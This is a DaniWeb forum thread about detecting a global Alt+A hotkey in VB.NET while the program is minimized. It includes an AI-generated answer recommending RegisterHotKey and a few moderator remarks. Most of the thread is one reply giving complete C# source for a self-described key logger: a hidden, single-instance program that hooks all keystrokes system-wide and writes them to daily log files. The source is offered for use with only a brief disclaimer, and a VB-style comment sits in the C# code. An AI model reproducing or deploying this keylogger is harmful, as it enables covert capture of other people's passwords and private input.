I want to do some action with the help of multiple key pressed in vb.net even program is minimized. I've read the only way of detecting global keys is using a timer. So can someone please tell me how to do it? With multiple keys. (eg: ALT+A)
supun.lakshan 0 Newbie Poster
Dani AI
Generated
Short answer: a Timer alone (with normal form KeyDown/KeyPress handlers) won’t catch keys when your app is minimized. For a single fixed combo like Alt+A use the OS hotkey API (RegisterHotKey / WM_HOTKEY). For full, low-level capture (all keys, key-up/key-down, or logging) use a global low-level keyboard hook (WH_KEYBOARD_LL). is correct about normal form events; ’s hook approach is the right pattern when you need callbacks rather than polling.
A simple, reliable approach for “Alt+A” is RegisterHotKey: register the combination and handle WM_HOTKEY in your window/message loop. RegisterHotKey will post WM_HOTKEY to the registering thread/window when the combo is pressed. Below is a minimal VB.NET pattern (register on load, catch WM_HOTKEY, unregister on close):
' P/Invoke declarations
Private Declare Function RegisterHotKey Lib "user32" (hWnd As IntPtr, id As Integer, fsModifiers As UInteger, vk As UInteger) As Boolean
Private Declare Function UnregisterHotKey Lib "user32" (hWnd As IntPtr, id As Integer) As Boolean
Private Const WM_HOTKEY As Integer = &H312
Private Const MOD_ALT As UInteger = &H1
Private Const HOTKEY_ID As Integer = 1
Protected Overrides Sub WndProc(ByRef m As Message)
If m.Msg = WM_HOTKEY AndAlso m.WParam.ToInt32() = HOTKEY_ID Then
' Alt+A pressed: perform action
End If
MyBase.WndProc(m)
End Sub
' Register: RegisterHotKey(Me.Handle, HOTKEY_ID, MOD_ALT, CUInt(Keys.A))
' Unregister on closing: UnregisterHotKey(Me.Handle, HOTKEY_ID) RegisterHotKey posts WM_HOTKEY messages to your thread/window; check the API return value (it fails if another app already registered the same combo), and always unregister on exit. (learn.microsoft.com)
If you need to observe arbitrary key presses (all keys, separate up/down events, or to monitor without a fixed combo) use a low-level keyboard hook (SetWindowsHookEx with WH_KEYBOARD_LL). That gives callbacks but is more intrusive: pay attention to bitness (32/64-bit), message pumping, performance and delegate lifetime (keep the hook delegate rooted), and the documented restrictions for global hooks. Use this only when RegisterHotKey is insufficient. (learn.microsoft.com)
Polling via GetAsyncKeyState inside a Timer can work (it reports global key state) but is fragile: it can miss very quick taps, costs CPU if polled too often, and is not as clean as RegisterHotKey for a specific combo. If choosing polling, read the GetAsyncKeyState behavior and use it only for simple, non-critical tasks. Also be mindful of privacy/antivirus concerns if you implement low-level logging. (learn.microsoft.com)
Recommendations: use RegisterHotKey for Alt+A (simplest), use WH_KEYBOARD_LL only when you truly need full streams, always check API return values, and unregister hooks/hotkeys on shutdown.
Recommended Answers
Jump to Post— Reverend Jim 6,681A timer is simply another thread that runs concurrently with the main thread. When your program is minimized it does not have focus and does not receive notification of keyboard events.
Jump to Post— AleMonteiro 238The only way I know how to detect global keys is using user32.dll and kernel32.dll methods.
You won't be needing timer to do this, as it is all about callbacks.
This is an simple key logger app, please use it with care and conscience, don't make anything stupid with it.
…
All 5 Replies
Reverend Jim 6,681 Hi, I'm Jim, one of DaniWeb's moderators. Moderator Featured Poster
A timer is simply another thread that runs concurrently with the main thread. When your program is minimized it does not have focus and does not receive notification of keyboard events.
AleMonteiro 238 Can I pick my title?
The only way I know how to detect global keys is using user32.dll and kernel32.dll methods.
You won't be needing timer to do this, as it is all about callbacks.
This is an simple key logger app, please use it with care and conscience, don't make anything stupid with it.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Diagnostics;
using System.Reflection;
namespace Something
{
static class Program
{
[DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
private static extern IntPtr SetWindowsHookEx ( int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId );
[DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
[return: MarshalAs( UnmanagedType.Bool )]
private static extern bool UnhookWindowsHookEx ( IntPtr hhk );
[DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
private static extern IntPtr CallNextHookEx ( IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam );
[DllImport( "kernel32.dll", CharSet = CharSet.Auto, SetLastError = true )]
private static extern IntPtr GetModuleHandle ( string lpModuleName );
private const int SW_HIDE = 0;
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static bool shiftPressed = false;
public static bool capsLockPressed = false;
public static int shift = 0;
public static int caps = 0;
public static void Main ()
{
var exists = Process.GetProcessesByName( Path.GetFileNameWithoutExtension( Assembly.GetEntryAssembly().Location ) ).Count() > 1;
' Return if program is already running
if ( exists ) return;
_hookID = SetHook( _proc );
Application.Run();
UnhookWindowsHookEx( _hookID );
}
private static IntPtr SetHook ( LowLevelKeyboardProc proc )
{
using ( Process curProcess = Process.GetCurrentProcess() )
using ( ProcessModule curModule = curProcess.MainModule )
{
return SetWindowsHookEx( WH_KEYBOARD_LL, proc, GetModuleHandle( curModule.ModuleName ), 0 );
}
}
private delegate IntPtr LowLevelKeyboardProc (int nCode, IntPtr wParam, IntPtr lParam );
private static IntPtr HookCallback ( int nCode, IntPtr wParam, IntPtr lParam )
{
try
{
if ( nCode >= 0 && wParam == (IntPtr) WM_KEYDOWN )
{
int vkCode = Marshal.ReadInt32( lParam );
if ( Keys.Shift == Control.ModifierKeys ) shift = 1;
else shift = 0;
switch ( (Keys) vkCode )
{
case Keys.Space:
log( " " );
break;
case Keys.Return:
log( Environment.NewLine );
break;
case Keys.Back:
log( "[ Back ]" );
break;
case Keys.Tab:
log( "[ TAB ]" );
break;
case Keys.D0:
if ( shift == 0 ) log( "0" );
else log( ")" );
break;
case Keys.D1:
if ( shift == 0 ) log( "1" );
else log( "!" );
break;
case Keys.D2:
if ( shift == 0 ) log( "2" );
else log( "@" );
break;
case Keys.D3:
if ( shift == 0 ) log( "3" );
else log( "#" );
break;
case Keys.D4:
if ( shift == 0 ) log( "4" );
else log( "$" );
break;
case Keys.D5:
if ( shift == 0 ) log( "5" );
else log( "%" );
break;
case Keys.D6:
if ( shift == 0 ) log( "6" );
else log( "^" );
break;
case Keys.D7:
if ( shift == 0 ) log( "7" );
else log( "&" );
break;
case Keys.D8:
if ( shift == 0 ) log( "8" );
else log( "*" );
break;
case Keys.D9:
if ( shift == 0 ) log( "9" );
else log( "(" );
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
{
log( "" );
break;
}
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
case Keys.Apps:
{
//log( ( (Keys) vkCode ).ToString() );
}
break;
case Keys.Delete:
log( "[ Delete ]" );
break;
case Keys.OemQuestion:
if ( shift == 0 ) log( "/" );
else log( "?" );
break;
case Keys.OemOpenBrackets:
if ( shift == 0 ) log( "[" );
else log( "{" );
break;
case Keys.OemCloseBrackets:
if ( shift == 0 ) log( "]" );
else log( "}" );
break;
case Keys.Oem1:
if ( shift == 0 ) log( ";" );
else log( ":" );
break;
case Keys.Oem7:
if ( shift == 0 ) log( "'" );
else log( '"' );
break;
case Keys.Oemcomma:
if ( shift == 0 ) log( "," );
else log( "<" );
break;
case Keys.OemPeriod:
if ( shift == 0 ) log( "." );
else log( ">" );
break;
case Keys.OemMinus:
if ( shift == 0 ) log( "-" );
else log( "_" );
break;
case Keys.Oemplus:
if ( shift == 0 ) log( "=" );
else log( "+" );
break;
case Keys.Oemtilde:
if ( shift == 0 ) log( "`" );
else log( "~" );
break;
case Keys.Oem5:
log( "|" );
break;
case Keys.Capital:
{
if ( caps == 0 ) caps = 1;
else caps = 0;
}
break;
case Keys.Left:
log( "[ Left ]" );
break;
case Keys.Right:
log( "[ Right ]" );
break;
case Keys.Up:
log( "[ Up ]" );
break;
case Keys.Down:
log( "[ Down ]" );
break;
case Keys.Home:
log( "[ Home ] " );
break;
case Keys.End:
log( "[ End ] " );
break;
case Keys.PageDown:
log( "[ PageDown ] " );
break;
case Keys.PageUp:
log( "[ PageUp ] " );
break;
case Keys.OemBackslash:
if ( shift == 1 ) log( "|" );
else log( "\\" );
break;
default:
{
if ( shift == 0 && caps == 0 ) log( ( (Keys) vkCode ).ToString().ToLower() );
if ( shift == 1 && caps == 0 ) log( ( (Keys) vkCode ).ToString().ToUpper() );
if ( shift == 0 && caps == 1 ) log( ( (Keys) vkCode ).ToString().ToUpper() );
if ( shift == 1 && caps == 1 ) log( ( (Keys) vkCode ).ToString().ToLower() );
}
break;
}
}
}
catch ( Exception ex )
{
log( ex.Message + Environment.NewLine, "log_erro" );
}
return CallNextHookEx( _hookID, nCode, wParam, lParam );
}
static void log ( char text )
{
log( text.ToString(), "log" );
}
static void log ( string text )
{
log( text, "log" );
}
static void log ( string text, string file )
{
string fname = file + DateTime.Now.ToString( "yyyyMMdd" ) + ".txt";
StreamWriter sWriter = new StreamWriter( Application.StartupPath + @"\" +fname, true );
sWriter.Write( text );
sWriter.Close();
}
}
}
Edited by AleMonteiro because: more info
Reverend Jim 6,681 Hi, I'm Jim, one of DaniWeb's moderators. Moderator Featured Poster
This is a vb.net forum and that is not vb.net code.
Edited by Reverend Jim
AleMonteiro 238 Can I pick my title?
Revend Jim, sorry about that, I got focused on the problem and forgot about the details.
I've updated the post to make it clear.
But anyway, he can get the logic about it, even if he has to re-write.
Update: I can't delete nor update my previous post. I'm not finding a way to fix it =/
Edited by AleMonteiro
Reverend Jim 6,681 Hi, I'm Jim, one of DaniWeb's moderators. Moderator Featured Poster
You can only edit a new post for 30 minutes. Just add a new post with your new comments.
Be a part of the DaniWeb community
We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.